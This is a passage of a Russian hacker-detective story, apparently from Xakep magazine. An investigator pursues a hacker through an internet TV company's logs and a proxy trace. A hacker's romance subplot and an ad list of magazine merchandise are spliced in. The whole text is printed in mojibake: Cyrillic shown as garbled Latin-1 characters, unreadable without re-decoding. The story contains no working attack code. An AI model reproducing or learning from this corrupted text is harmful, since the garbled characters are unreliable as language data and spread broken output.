ñÿ âñåì óãîäèòü. Âñå ýòî, âìåñòå ñ íåñóðàçíîé îäåæäîé, ñîñòîÿùåé èç
ìÿòîé êëåò÷àòîé ðóáàøêè, øòàíîâ â êðóïíóþ ïîëîñêó è ñàíäàëèé, ïðî-
èçâîäèëî îòòàëêèâàþùåå âïå÷àòëåíèå.
� Âûçûâàëè, Âàäèì Ñåðãååâè÷? � ïðîìÿóêàë Êðûñ.
� Ñàäèñü! � ïðèêàçàë ñëåäîâàòåëü è êèâíóë íà ñòóë.
Êèðÿêèíó íå äîñòàâëÿëî óäîâîëüñòâèå îáùàòüñÿ ñ ýòèì òèïîì, íî ó íå-
ãî ìîãëà áûòü íóæíàÿ èíôîðìàöèÿ. Êðûñ äîëãîå âðåìÿ êðóòèëñÿ â
êîìïüþòåðíîì àíäåãðàóíäå, çíàë ìíîãèõ «îòöîâ» õàêà è äàæå ñîñòîÿë â
äâóõ êðóïíûõ õàêåðñêèõ ãðóïïèðîâêàõ. Ïîêà òîâàðèùè ïî ðåìåñëó íå óç-
íàëè, ÷òî îí ñòóêà÷èò â îðãàíû. Õîäèëè ñëóõè, ÷òî Êðûñà ïîäëîâèëè âî
äâîðå åãî äîìà è ñèëüíî èçáèëè åãî æå ñòàðûå äðóæêè. Íî ïðàâäà ýòî,
èëè íåò, ñëåäîâàòåëü íå çíàë.
� Â îáùåì, ñëóøàé, Åâäîêååâ, íàì â÷åðà çàÿâêó îñòàâèëè � êòî-òî
âçëîìàë êðóïíûé ñåòåâîé àóêöèîí è ïîõèòèë íîìåðà êðåäèòîê ïîëüçîâà-
òåëåé. Ïîïàõèâàåò 20 ãîäàìè òþðüìû, íå íàõîäèøü?
Õàêåð Êðèñ ïîêðàñíåë:
� Íó à ÿ òî ïðè÷åì, òîâàðèù ñëåäîâàòåëü?
� Òàê âåäü çà òîáîé òàêîé ãðåøîê óæå áûë, ïîìíèøü? 13 ôåâðàëÿ 2003
ãîäà. E-torg.ru.
� Òîâàðèù ñëåäîâàòåëü, òàê âåäü ýòî äàâíî áûëî. ß óæå äàâíî ðàñêà-
ÿëñÿ, îòðàáîòàë, âðîäå.
� À êòî òåáÿ çíàåò, ðàñêàÿëñÿ òû èëè íåò? Ñèìïòîìû òå æå. Èñïîëüçî-
âàíèå àíàëîãè÷íîé óÿçâèìîñòè, òà æå öåïî÷êà ïðîêñè. Îïÿòü âçÿëñÿ çà
ñòàðîå, íåãîäÿé? � ãîëîñ Êèðÿêèíà ïðèíÿë óãðîæàþùèå íîòû.
� Äà ÿ óæå 2 ãîäà íè÷åãî íå ëîìàë. Áîãîì êëÿíóñü!
� Íà ÷òî ìíå òâîè êëÿòâû? Àëèáè åñòü ó òåáÿ?
� Êàêîå àëèáè?
� Òû, Åâäîêååâ, äóðàêà èç ìåíÿ íå ñòðîé! � ðàññåðäèëñÿ ñëåäîâàòåëü.
Êðûñ åùå ñèëüíåå ïîêðàñíåë è ïðèòèõ.
� Â îáùåì, ëàäíî, ðàçáåðåìñÿ. Åñëè äåéñòâèòåëüíî íå ëîìàë, íè÷åãî
òåáå íå ñòàíåòñÿ. À åñëè ðåøèë îïÿòü â ñâîè èãðû èãðàòü � ïîëó÷èøü
20 ëåò ìèíèìóì, � ñäåëàë óäàðåíèå íà ïîñëåäíåì ñëîâå Êèðÿêèí, � è
ÿ ëè÷íî ïðîñëåæó, ÷òîáû òåáÿ â ñàìóþ áàíäèòñêóþ òþðÿãó çàñàäèëè.
Íà Êðûñà áûëî æàëêî ñìîòðåòü.
� Òåïåðü âîò ÷òî, � ïðîäîëæèë ñëåäîâàòåëü, � ìû ñåé÷àñ èùåì îäíî-
ãî äåÿòåëÿ, êîòîðûé èñïûòûâàåò ñèëüíóþ òÿãó ê òåëåâèäåíèþ. À êîíê-
ðåòíî � ê êàíàëó R-TV. Ó òåáÿ åñòü òàêîé ñðåäè çíàêîìûõ?
Õàêåð íàìîðùèë ëîá, ïûòàÿñü âñïîìíèòü.
� Äà íåò, âðîäå.
� Òû òùàòåëüíåå ïîäóìàé. Ìîæåò, êòî-òî ðàññêàçûâàë îá èíòåðåñíîé
ïåðåäà÷å ïî R-TV? Èëè õâàñòàëñÿ âçëîìîì èõ êîìïüþòåðíîé ñåòè? Ïîì-
íè, ïîìîãàÿ ìíå, òû ïîìîãàåøü ëè÷íî ñåáå.
Êðûñ ñíîâà çàäóìàëñÿ, íî â èòîãå ïîæàë ïëå÷àìè.
� Íå áûëî íè÷åãî òàêîãî.
Ñëåäîâàòåëü âçäîõíóë.
� Ëàäíî. Ñâîáîäåí. Ïîêà ìû âåäåì ðàññëåäîâàíèå ïî äåëó àóêöèîíà,
èç ãîðîäà íå âûåçæàé.
� Äà-äà, êîíå÷íî, � óáåäèòåëüíî çàêèâàë õàêåð. È óæå, âûõîäÿ çà
äâåðü, áóðêíóë: «Êòî âîîáùå ñåé÷àñ ñìîòðèò òåëèê?».
� ×òî òû ñêàçàë? � ïåðåñïðîñèë Êèðÿêèí.
� ß ãîâîðþ, íèêòî èç õàêåðîâ íå ñìîòðèò òåëåâèçîð. Íàôèãà îí íóæåí,
êîãäà åñòü èíòåðíåò?
� À â èíòåðíåòå òðàíñëèðóþò òàêèå êàíàëû, êàê R-TV?
� Êîíå÷íî. Åñòü ñïåöèàëüíûé ãåéò, ÷åðåç êîòîðûé ìîæíî â ðåàëüíîì
âðåìåíè ñìîòðåòü ëþáóþ ïåðåäà÷ó. Ñòîèò ýòî 25$ â ìåñÿö, íî óæå äàâ-
íî íàïèñàëè ñêðèïò äëÿ áåñïëàòíîãî ïðîñìîòðà.
� Òàê, ïîãîäè. Ñàäèñü îáðàòíî è ðàññêàæè ìíå ïðî ýòîò ãåéò.

* * *
Âíóòðåííÿÿ îòäåëêà çäàíèÿ áûëà íå ìåíåå øèêàðíîé, ÷åì ñàìî
çäàíèå. Ïåðåä òåì, êàê ïðèéòè ñþäà, Êèðÿêèí íàâåë ñïðàâêè î
êîìïàíèè DreamTV. Ãåíåðàëüíûé äèðåêòîð Êàãàðîâ Ñåðãåé Ìè-
õàéëîâè÷ 5 ëåò íàçàä âëàäåë íåáîëüøèì ìàãàçèí÷èêîì, òîðãóþ-
ùèì êîìïüþòåðíîé òåõíèêîé. Â êàêîé-òî ìîìåíò îí ïðîäàë âåñü
ñâîé áèçíåñ, à âûðó÷åííûå äåíüãè âëîæèë â êîìïàíèþ, ñïåöèàëè-
çèðóþùóþñÿ íà òðàíñëÿöèè ïîïóëÿðíûõ ÒÂ êàíàëîâ â Ñåòè. Óñëó-
ãà îêàçàëàñü âîñòðåáîâàííîé � ìíîãèå êîìïüþòåðùèêè ïðåäïî-
÷èòàëè ñìîòðåòü íóæíûå ïåðåäà÷è ïðÿìî íà ìîíèòîðå, áåç óñòà-

íîâêè ñïóòíèêîâîé àíòåííû è ïðî÷èõ òðóäíîñòåé. Çà òðè ãîäà
DreamTV ïðåâðàòèëàñü èç íåáîëüøîé êîíòîðû â êðóïíóþ êîìïà-
íèþ, âîðî÷àþùóþ ìèëëèîíàìè.
� ×åì ìîãó âàì ïîìî÷ü? � ïîèíòåðåñîâàëàñü àäìèíèñòðàòîð ó çàáëó-
äèâøåãîñÿ â êîðèäîðå Êèðÿêèíà.
� Ìíå íàçíà÷åíà âñòðå÷à ñ Êàãàðîâûì Ñåðãååì Ìèõàéëîâè÷åì. Âû íå
ïîäñêàæèòå, ãäå åãî êàáèíåò?
� Âàì ïðÿìî ïî ýòîìó êîðèäîðó è íàëåâî. Áîëüøàÿ êîæàíàÿ äâåðü.
Ïðîïóñòèòü òàêóþ äâåðü áûëî òðóäíî. Êèðÿêèí, ïîñòó÷àâøèñü, îòâîðèë
åå è ïîïàë â óþòíî îáñòàâëåííóþ ïðèõîæóþ. Ðÿäîì ñ åùå îäíîé äâåðüþ,
ñóäÿ ïî âñåìó, âåäóùåé â êàáèíåò äèðåêòîðà, ñèäåëà ìîëîäåíüêàÿ ñåê-
ðåòàðøà.
� Ìíå ê Êàãàðîâó, � ñîîáùèë ñëåäîâàòåëü.
� Âàì íàçíà÷åíà âñòðå÷à?
� Äà.
� Ñåêóíäî÷êó.
Äåâóøêà ïî òåëåôîíó ñîîáùèëà øåôó î ãîñòå è ïðèãëàñèëà âîéòè.
Êàáèíåò áûë îòäåëàí ïî-äîìàøíåìó, � áîëüøóþ ÷àñòü ïîìåùåíèÿ çà-
íèìàëè êíèæíûé øêàô è äëèííûé ñòîë, à ïîë çàñòåëåí äîðîãèì êîâðîì
â òèãðîâûõ òîíàõ. ×åëîâåê, ñèäÿùèé çà ñòîëîì, âñòàë è ïðèâåòñòâåííî
ïðîòÿíóë Êèðÿêèíó ðóêó.
� Ïðèñàæèâàéòåñü. ×àé? Êîôå?
� Ñïàñèáî, îò êîôå íå îòêàæóñü.
Ïîêà Êàãàðîâ äàâàë ðàñïîðÿæåíèÿ ñåêðåòàðøå, Êèðÿêèí ñ èíòåðåñîì
îñìàòðèâàë êîìïüþòåðíóþ òåõíèêó íà ñòîëå. Áîëüøîé ÆÊ-ìîíèòîð, òî-
íåíüêèé íîóòáóê, ñòîèâøèé ÿâíî íå ìåíüøå äâóõ òûñÿ÷, íàâîðî÷åííûé
òåëåôîí� ñëåäîâàòåëü ñî âçäîõîì ïîäóìàë î ñâîåì ñòàðåíüêîì ïåíòè-
óìå, êîòîðûé óæå äàâíî ïîðà áûëî áû ñìåíèòü íà ÷òî-òî ïîìîùíåå, åñ-
ëè áû òîëüêî îòäåëó âûäåëèëè äåíüãè.
Äèðåêòîðó DreamTV áûëî çà 40 � êðàñèâûé ìóæ÷èíà â ñòèëüíûõ î÷-
êàõ� åñëè áû íå áèçíåñ, èç íåãî ïîëó÷èëàñü áû õîðîøàÿ ìîäåëü äëÿ
ðåêëàìû ìóæñêîãî äåçîäîðàíòà èëè áðèòâû. Ñåêðåòàðøà ïðèíåñëà êî-
ôå ñ ïå÷åíüåì â âàçî÷êå. Êîãäà îíà ñíîâà âûøëà, Êàãàðîâ îáðàòèëñÿ ê
ãîñòþ:
� Èòàê, âû ïî òåëåôîíó ñêàçàëè, ÷òî õàêåðàì óäàëîñü âçëîìàòü íàøó
çàùèòó?
� Äà, ïðè÷åì óæå äàâíî. Âçëîìùèêè íå ðàñïðîñòðàíÿëè èíôîðìàöèþ â
Ñåòè, íî áåñïëàòíî âàøèìè óñëóãàìè ïîëüçóþòñÿ, êàê ìèíèìóì, ÷åëî-
âåê 300.
� Ïî ïðàâäå, ÿ ñëûøó îá ýòîì âïåðâûå, íî ìû î÷åíü çàèíòåðåñîâàíû â
ðåøåíèè òàêîãî ðîäà ïðîáëåì.
� Íå ñîìíåâàþñü. Ó ìåíÿ åñòü ïîäðîáíîå îïèñàíèå ðàáîòû ñêðèïòà, êî-
òîðûé èñïîëüçóþò õàêåðû, è ÿ ìîãó ïîìî÷ü âàì óñòðàíèòü óÿçâèìîñòü.
Íî ìíå íóæíà òàêæå âàøà ïîìîùü. Âîçìîæíî, îäèí èç ýòèõ âçëîìùèêîâ
� ÷åëîâåê, êîòîðîãî ìû èùåì çà ñîâåðøåíèå äðóãèõ ïðåñòóïëåíèé. Íàì
î÷åíü âàæíî åãî íàéòè.

* * *
«Êîìïüþòåðíàÿ ëàáîðàòîðèÿ», êàê íàçûâàëè åå ñîòðóäíèêè DreamTV,
ïðåäñòàâëÿëà ñîáîé ïðîñòîðíîå ïîìåùåíèå, çàñòàâëåííîå âñåâîçìîæ-
íîé êîìïüþòåðíîé àïïàðàòóðîé. Ýòî áûëî ñåðäöå êîìïàíèè, òàê êàê
èìåííî ÷åðåç ýòè ñåðâåðû ïîëüçîâàòåëè ïîëó÷àëè òåëåâèçèîííûé òðà-
ôèê. Êèðÿêèí íàñ÷èòàë 14 ñîòðóäíèêîâ, çàíèìàþùèõñÿ êîìïüþòåðàìè.
Ãëàâíûì ñðåäè íèõ áûë Íèêîëàåâè÷ � ñåäåþùèé ìàëåíüêèé ìóæè÷îê ñ
ñåðäèòûìè ãëàçàìè è ñóåòëèâîé ïîõîäêîé. Ïðîñìîòðåâ ðàñïå÷àòêè, ïðè-
íåñåííûå ìèëèöèîíåðîì, îí ïîæàë ïëå÷àìè.
� Íè÷åãî óäèâèòåëüíîãî. Ó íàñ äåñÿòêè òûñÿ÷ êëèåíòîâ, óñëåäèòü çà ïî-
äîáíûìè èíöèäåíòàìè ñëîæíî.
Êèðÿêèí íå ñòàë îñóæäàòü õàëàòíîñòü êîìïüþòåðùèêîâ DreamTV. Åãî
áîëüøå èíòåðåñîâàëî òî, çà ÷åì îí ïðèøåë.
� Ñïàñèáî, êîíå÷íî, çà èíôîðìàöèþ. Äûðêó ìû ïðèêðîåì, àêêàóíòû
òåõ, êòî ïîëüçîâàëñÿ ñêðèïòîì, çàáàíèì, � ïðîäîëæèë íà÷àëüíèê
êîìïüþòåðíîãî îòäåëà.
� Ñêàæèòå, âû âåäåòå ëîãè àêòèâíîñòè âàøèõ êëèåíòîâ?
� Äà, ó íàñ åñòü öåíòðàëüíûé ñåðâåð, íà êîòîðîì õðàíèòñÿ âñÿ èíôîð-
ìàöèÿ, êòî è ÷òî ñìîòðåë, êîãäà è ò.ä. Âñå ýòî äåëàåòñÿ â èññëåäîâà-
òåëüñêèõ öåëÿõ. Íàì âàæíî çíàòü, êàêèå ïåðåäà÷è è êàíàëû ïðåäïî÷èòà-
þò êëèåíòû.
� Åñëè ÿ äàì âàì ñïèñîê ïåðåäà÷ çà ïîñëåäíèå ïîëòîðà ìåñÿöà, êîòîðûå
êðóòèëè ïî R-TV, âû ñìîæåòå îòôèëüòðîâàòü ìíå òåõ, êòî èõ ñìîòðåë?
� Ìîæíî âçãëÿíóòü íà ñïèñîê?
Êèðÿêèí ïðîòÿíóë Íèêîëàåâè÷ó èñïèñàííóþ áóìàãó.
� Îòôèëüòðîâàòü, êîíå÷íî, ìîæíî, íî ÿ âàì ñðàçó ìîãó ñêàçàòü � ýòî
áóäåò, ïî ìåíüøåé ìåðå, äåñÿòîê òûñÿ÷ ëþäåé. Ñëèøêîì îáùèå êðèòå-
ðèè ïîèñêà.
� ×òî æ, ÿ âàì èõ ñîêðàùó. Ïîèùèòå òîëüêî ñðåäè òåõ, êòî ïîëüçîâàë-
ñÿ ñêðèïòîì.
� Ïðîøó çà ìíîé.



Èãðàé
ïðîñòî!

GamePost 

ÝÊÑÊËÞÇÈÂÍÀß
ÊÎËËÅÊÖÈß ÎÄÅÆÄÛ

È ÀÊÑÅÑÑÓÀÐÎÂ
ÎÒ ÆÓÐÍÀËÎÂ

ÕÀÊÅÐ È ÕÓËÈÃÀÍ

ÖÅÍÀ:69.99USD ÊÎÄ ÒÎÂÀÐÀ: COF16384

XAKEP STUFF
ÊÐÓÆÊÀ + ÔËßÆÊÀ + ÇÀÆÈÃÀËÊÀ

ÖÅÍÀ: 6.99USD ÊÎÄ ÒÎÂÀÐÀ: COF13771

«ÎÏÀÑÍÎ ÄËß ÆÈÇÍÈ» 
ÊÎÂÐÈÊ ÄËß ÌÛØÈ

ÖÅÍÀ:11.99USD ÊÎÄ ÒÎÂÀÐÀ: COF14589

«ÕÓËÈÃÀÍ»
ÁÐÅËÎÊ

ÖÅÍÀ:12.99USD ÊÎÄ ÒÎÂÀÐÀ: COF14018

Ñ ËÎÃÎÒÈÏÎÌ «ÕÀÊÅÐ»
ÏÈÂÍÀß ÊÐÓÆÊÀ ÑÎ ØÊÀËÎÉ

ÖÅÍÀ:14.99USD ÊÎÄ ÒÎÂÀÐÀ: COF16183

«FUCK»
ÔÓÒÁÎËÊÀ

ÖÅÍÀ:11.99USD ÊÎÄ ÒÎÂÀÐÀ: COF15149

«ENJOY MY COCK»
ÔÓÒÁÎËÊÀ

ÖÅÍÀ:13.99USD ÊÎÄ ÒÎÂÀÐÀ: COF16182

«ÕÀÊÅÐ STUFF»
ÔÓÒÁÎËÊÀ

ÖÅÍÀ: 39.99USD ÊÎÄ ÒÎÂÀÐÀ: COF13866

«FBI»
ÂÅÒÐÎÂÊÀ

ÖÅÍÀ: 11.99USD ÊÎÄ ÒÎÂÀÐÀ: COF14590

«ÕÀÊÅÐ � ÄÅÍÜÃÈ»
ÇÀÆÈÌ ÄËß ÄÅÍÅÃ

ÖÅÍÀ:11.99USD ÊÎÄ ÒÎÂÀÐÀ: COF14591

«ÕÀÊÅÐ»
ÊÎÆÀÍÛÉ ØÍÓÐÎÊ ÄËß ÌÎÁÈËÜÍÈÊÀ

ÖÅÍÀ:11.99 USD ÊÎÄ ÒÎÂÀÐÀ: COF13862

Ñ ËÎÃÎÒÈÏÎÌ «ÕÀÊÅÐ»
ÇÀÆÈÃÀËÊÀ ÌÅÒÀËËÈ×ÅÑÊÀß

ÖÅÍÀ:22.99USD ÊÎÄ ÒÎÂÀÐÀ: COF13861

«ÕÀÊÅÐ»
ÐÓ×ÊÀ SENATOR ÌÅÒÀË. Ñ ÃÐÀÂÈÐÎÂÊÎÉ

XÒÎÂÀÐÛ

ÂÑÒÈËÅ
* *
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Îíè âìåñòå íàïðàâèëèñü ê òîìó ñàìîìó ñåðâåðó, ñòîÿâøåìó â óãëó
êîìïüþòåðíîé ëàáîðàòîðèè. Çà ìàøèíîé ñèäåë ïîëíîâàòûé ìîëîäîé
÷åëîâåê â î÷êàõ è ÷òî-òî áûñòðî ïå÷àòàë.
� Ãðèøà, èäè ïîãóëÿé. Íàì íóæíî ïîðàáîòàòü, � îáðàòèëñÿ Íèêîëàå-
âè÷ ê òîëñòÿêó.
Ãðèøà ïîäîçðèòåëüíî ïîñìîòðåë íà Êèðÿêèíà è ìîë÷à óäàëèëñÿ, à åãî
ìåñòî çàíÿë øåô.
Êèðÿêèí ñðàçó ïîíÿë, ÷òî Íèêîëàåâè÷à íå çðÿ íàçíà÷èëè íà÷àëüíèêîì
îòäåëà � îí íàñòîëüêî óâåðåííî îðóäîâàë â ëîãàõ, ÷òî, êàçàëîñü, âñþ
æèçíü òîëüêî ýòèì è çàíèìàëñÿ. Íå ïðîøëî è ïÿòè ìèíóò, êàê Íèêîëàå-
âè÷ îáúÿâèë:
� Åñòü òðîå êàíäèäàòîâ. Èìÿ ïåðâîãî � Storm, âèñèò íà ëèíèè êðóãëî-
ñóòî÷íî. Äðóãîé � Krikun, òÿíåò òðàôèê ïî âå÷åðàì ïðàêòè÷åñêè êàæ-
äûé äåíü, ëþáèò íàó÷íûå ïåðåäà÷è, òèïà Discovery. Òðåòüåãî çîâóò
Remi, îí áûâàåò ó íàñ íåðåãóëÿðíî, ñìîòðèò ðàçíîå, íî âàøè ïåðåäà÷è
è åãî âðåìÿ â ñèñòåìå ñîâïàëè.
� Åñëè ìîæíî, ðàñïå÷àòàéòå ìíå âñþ èíôîðìàöèþ, êîòîðàÿ ó âàñ íà
íèõ åñòü.

* * *
Àíå÷êà ïðèâåòëèâî óëûáíóëàñü è ïðèíåñëà ðåáÿòàì ìåíþ.
� Àíäðþõà, âèäåë, êàê îíà íà òåáÿ ïîñìîòðåëà? � ñïðîñèë Major.
� Äà ëàäíî òåáå. Ïðîñòî ïðèâåòëèâîñòü.
� Ïðèâå-åòëèâîñòü, � ïåðåäðàçíèë Ñàíÿ, � òàê è áóäåòå âñþ æèçíü
äðóã äðóãó ãëàçêè ñòðîèòü.
� Íó ÷òî, ìíå â çàãñ åå îòñþäà âåñòè?
� Äà äëÿ íà÷àëà õîòÿ áû êóäà-íèáóäü ïðèãëàñèòü. Òî÷íî òåáå ãîâîðþ,
îíà ê òåáå íåðîâíî äûøèò.
Àíäðåé ïîñìîòðåë íà îñòàëüíûõ òîâàðèùåé, îæèäàÿ ïîääåðæêè. Ðîìà
ïîæàë ïëå÷àìè:
� Òåáå ðåøàòü. Íå ìàëåíüêèé.
Õàêåðû íà ýòîò ðàç íå ñòàëè äîñòàâàòü íîóòáóê, à ïðîñòî ïåðåêóñè-
ëè øàøëûêîì è ôèðìåííûìè ñàëàòàìè. Ïåðåä óõîäîì Àíäðåé áðî-
ñèë äðóçüÿì: «Âû èäèòå, ÿ äîãîíþ» è áûñòðî, ÷òîáû íå óñïåòü ïåðå-
äóìàòü, íàïðàâèëñÿ ê Àíå. Óñëûøàâ åãî ãîëîñ, äåâóøêà óäèâëåííî
ïîäíÿëà ãëàçà.
� Àíÿ... ÿ ýòî� â îáùåì ó ìåíÿ ñëó÷àéíî îêàçàëèñü 2 áèëåòà íà «Áå-
ëûé çàãàð». Â «Ñèíåìà õîëë». ß òóò ïîäóìàë� â îáùåì, íå õî÷åøü
ïðèñîåäèíèòüñÿ?
� À ÿ óæå ñìîòðåëà ýòîò ôèëüì.
� Äà? À, íó ëàäíî.
Àíäðåé óæå ñîáðàëñÿ óéòè, íî Àíÿ îñòàíîâèëà.
� Ïîäîæäè. Çíàåøü, ìíå ôèëüì ïîíðàâèëñÿ, è ÿ áû ñ óäîâîëüñòâèåì
ïîñìîòðåëà åãî ñíîâà.
� Ïðàâäà?
� Àãà. Êîãäà ñåàíñ?
� Çàâòðà â 6 âå÷åðà.
� Ëàäíî. Äàâàé òîãäà áåç äåñÿòè 6 âîçëå âõîäà â êèíîòåàòð?
� Î'êåé. Íó òû ýòî, íå îïàçäûâàé.
Êîãäà Àíäðåé äîãíàë ïðèÿòåëåé, ïî åãî ñèÿþùåìó ëèöó îíè ïîíÿëè,
ñëó÷èëîñü ÷òî-òî î÷åíü õîðîøåå.

* * *
� Ìàì, ÿ äîìà! � èç êîðèäîðà êðèêíóë Groove.
� À ÷òî òàê ðàíî?
� Ñåãîäíÿ âñåãî äâå ïàðû áûëî.
� Ó òåáÿ âñåãäà äâå ïàðû.
� Íå âñåãäà. Ïîçàâ÷åðà áûëî 6.
Àíäðþõà ïðîøåë â ñâîþ êîìïüþòåðíóþ "áåðëîãó", êàê íàçûâàëà
êîìíàòó ìàòü, è ñåë çà êîìïüþòåð. Ìàøèíàëüíî ïðîâåðèâ ïî÷òî-
âûé ÿùèê, â êîòîðîì íè÷åãî èíòåðåñíîãî íå îêàçàëîñü, îí îòêè-
íóëñÿ íà ñïèíêó ñòóëà è çàìåð. Âïåðâûå çà äîëãîå âðåìÿ, åìó ñî-
âåðøåííî íå õîòåëîñü òîð÷àòü ó êîìïà. Êîâûðÿòü íîâóþ ñèñòåìó?
Áàíàëüíî. Ñêà÷àòü èç ëîêàëêè è ïîñìîòðåòü íîâûé ôèëüì? Îí
óæå ïåðåñìîòðåë âñå õîðîøåå, ÷òî òàì áûëî. Ïîòðåùàòü ñ õàêåðà-
ìè íà IRC? Ïîñëåäíèå áåñåäû î íîâûõ äûðêàõ â ñîôòå íàâîäèëè
íà íåãî òîñêó. Îí çàìåòèë, ÷òî ïðîäîëæàåò ñèäåòü çà êîìïüþòå-
ðîì, êàê áóäòî áûë ïðèâÿçàí ê íåìó íåâèäèìîé öåïüþ, è ìûñëåí-
íî ôèëîñîôñòâîâàë, ÷òî âîîáùå õîðîøåãî åñòü â êîìïüþòåðàõ.
Íåò, êîíå÷íî, êîå-÷òî õîðîøåå â íèõ åñòü, íî ÷òî çàñòàâëÿåò èõ ñè-
äåòü öåëûìè äíÿìè ó ìîíèòîðà? Âñå-òàêè ðàçãîâîð ñ Àíåé ñèëüíî
ïîâëèÿë íà íåãî.
Àíäðåé ðåøèë ïðîãóëÿòüñÿ â îäèíî÷åñòâå ïî ïàðêó, ïîäóìàòü î áóäó-
ùåì � ïîãîäà áûëà çàìå÷àòåëüíàÿ. Íî ñíà÷àëà íóæíî áûëî çàêîí÷èòü
òî, ÷òî îí íà÷àë.
Groove çàïóñòèë ñêðèïò è çàøåë íà ñåðâåð DreamTV. Ïðîëèñòàâ äëèí-

íûé ñïèñîê êàíàëîâ, îí âûáðàë R-TV è íàæàë Enter.
* * *
Äî êîíöà îòâåäåííîãî õàêåðîì âðåìåíè îñòàâàëîñü ñîâñåì íåìíîãî. Ó
Êèðÿêèíà áûëî òðè èìåíè, íî îí íå ìîã ñ óâåðåííîñòüþ ñêàçàòü, êòî èç
íèõ âçëîìàë åãî êîìï. Äà è ëîìàë ëè èìåííî êòî-òî èç íèõ? Åãî òåîðèÿ
ñ DreamTV áûëà õðóïêîé è íåíàäåæíîé. Íî ñëåäîâàòåëü ÷óâñòâîâàë,
÷òî îí èäåò ïî ïðàâèëüíîìó ïóòè, à çà äîëãèå ãîäû ñëóæáû îí ïðèâûê
äîâåðÿòü ñâîåìó ÷óòüþ.
Âûéäÿ íà êðûëüöî ðîäíîãî çäàíèÿ, îí âñòðåòèë çíàêîìûå ëèöà ñîòðóä-
íèêîâ.
� Øåô, äàâàé ìû òâîé êîìïüþòåð ïîñòàâèì ïîä íàáëþäåíèå. Åñëè
ýòîò óìíèê ñóíåòñÿ ñíîâà âûïîëíÿòü ñâîþ óãðîçó, ìû åãî æèâî ïðèæó-
÷èì, � ïðåäëîæèë Ìèøêà.
� Íå óòðóæäàéñÿ. Ñàíÿ óæå èì çàíèìàåòñÿ. Òîëüêî ñëàáî âåðèòñÿ, ÷òî
íàø Íîñòðàäàìóñ ïîïðîáóåò âçëîìàòü åãî ñíîâà. Îí íå òàêîé äóðàê.
� ß äóìàþ, îí âîîáùå áëåôóåò. Êàêîé ðåçîí õàêåðó íàæèâàòü ñåáå
âðàãà â îòäåëå ïî ëîâëå õàêåðîâ?
� Ñóäÿ ïî ïðåäûäóùèì èíöèäåíòàì, ïàðåíü øóòèòü íå íàìåðåí.
Êèðÿêèí çàòÿíóëñÿ è âûïóñòèë êëóá äûìà.
Â ýòîò ìîìåíò çàçâîíèë ìîáèëüíèê.
� Âàäèì, èäè ñêîðåå ñþäà. Íàø õàêåð, êàæåòñÿ, îáúÿâèëñÿ, � ðàçäàë-
ñÿ èç òðóáêè ãîëîñ Ñàíè Ãðèøêî.
Ïîçâàâ ñ ñîáîé äâóõ ñîòðóäíèêîâ, Êèðÿêèí áûñòðî ïîäíÿëñÿ íà âòîðîé
ýòàæ, è óæå ÷åðåç íåñêîëüêî ñåêóíä áûë â êàáèíåòå ýêñïåðòà, ðÿäîì ñî
ñâîèì êîìïüþòåðîì.
Íà ýêðàíå ìîíèòîðà âèäíåëèñü áóêâû è öèôðû, ìàëî ÷òî ãîâîðèâøèå
ñëåäîâàòåëþ.
� Êòî-òî ïûòàåòñÿ ïðîíèêíóòü íà òâîé êîìïüþòåð. ß ïîñòàâèë çàñëîí,
íî îí ïðîäîëæàåò ïðîùóïûâàòü âõîä.
� Ïîòîðîïèëñÿ òû, øåô, ñ âûâîäàìè, � çàìåòèë Ìèøêà.
� Ñìîæåøü îïðåäåëèòü, îòêóäà îí çàøåë? � ñïðîñèë Êèðÿêèí.
� Óæå. Ñòðàííî, íî îí èñïîëüçóåò òîëüêî îäèí ïðîêñè-ñåðâåð, ïðè÷åì
êðóïíîãî ïðîâàéäåðà.
� ×òî çà ïðîâàéäåð?
� Telecom Zone. Ìû ìîæåì åãî íàêðûòü ïðÿìî ñåé÷àñ�
Êèðÿêèí åãî óæå íå ñëóøàë. Óçíàâ â ñïðàâî÷íîé òåëåôîí îïåðàòîðà
Telecom Zone, ñëåäîâàòåëü òóò æå íàáðàë åãî íîìåð:
� Çäðàâñòâóéòå. Âàñ áåñïîêîèò ìàéîð Âàäèì Êèðÿêèí, îòäåë «Ê» ÌÂÄ.
×åðåç âàø ëîêàëüíûé ïðîêñè ñåé÷àñ ñîâåðøàåòñÿ âçëîì ñåòè êðóïíîé
êîìïüþòåðíîé êîìïàíèè, íàì íóæíî íåìåäëåííî óñòàíîâèòü ëè÷íîñòü
òîãî, êòî çàøåë ÷åðåç ñëåäóþùèé IP.
Ñàíÿ Ãðèøêî ïðîäèêòîâàë Êèðÿêèíó íîìåð è òîò ïîâòîðèë åãî â òðóáêó.
� Ïðîñòèòå, íî ìû íå ïðåäîñòàâëÿåì ïîäîáíóþ èíôîðìàöèþ ïî òåëå-
ôîíó � ïðîçâó÷àë îòâåò îïåðàòîðà.
� Ïîñëóøàé, óìíèê! Åñëè òû ìíå ñåé÷àñ æå íå äàøü ýòó èíôîðìàöèþ,
êîìïàíèÿ î êîòîðîé ÿ ãîâîðþ ëèøèòñÿ òàêèõ äåíåã, ÷òî òåáå çà âñþ
æèçíü ïîòîì íå îòðàáîòàòü.
Â òðóáêå çàìîë÷àëè, ñóäÿ ïî âñåìó, ïåðåâàðèâàÿ óñëûøàííîå.
� Ãîâîðè, äàâàé! � ðÿâêíóë Êèðÿêèí.
� Õîðîøî. Ïðîäèêòóéòå åùå ðàç IP.
Òðóáêà íà íåêîòîðîå âðåìÿ çàìîë÷àëà, íî ÷åðåç ìèíóòó îæèëà âíîâü.
� Êàæåòñÿ, âû ïðàâû. Òàì óäàëåííîå ñîåäèíåíèå ñ âíåøíèì ñåðâå-
ðîì. Âëàäåëåö IP � Àíäðåé Ñóâîðîâ, çàïèøèòå àäðåñ è òåëåôîí.
� Áëàãîäàðþ.
Êèðÿêèí êèâíóë äâóì ñîòðóäíèêàì:
� Ìèõà, Îëåã, åäåòå ñî ìíîé. Ñàíÿ, òû óäåðæèâàé åãî íà ëèíèè, ñêîëü-
êî ìîæåøü. Îòêðîé ñâîé çàñëîí, ÿ â÷åðà ñäåëàë áýêàï âñåõ ôàéëîâ è
ïåðåíåñ âàæíóþ èíôó íà áîëâàíêè, òàê ÷òî íè÷åãî ñòðàøíîãî íå ïðîè-
çîéäåò.
� Ïîíÿë.
Ñòàðåíüêèé æèãóëåíîê, â êîòîðîì ñèäåëè òðîå ñîòðóäíèêîâ îòäåëà, âû-
åõàë ñî äâîðà è íà áîëüøîé ñêîðîñòè ïîì÷àëñÿ â äðóãóþ ÷àñòü ãîðîäà.

* * *
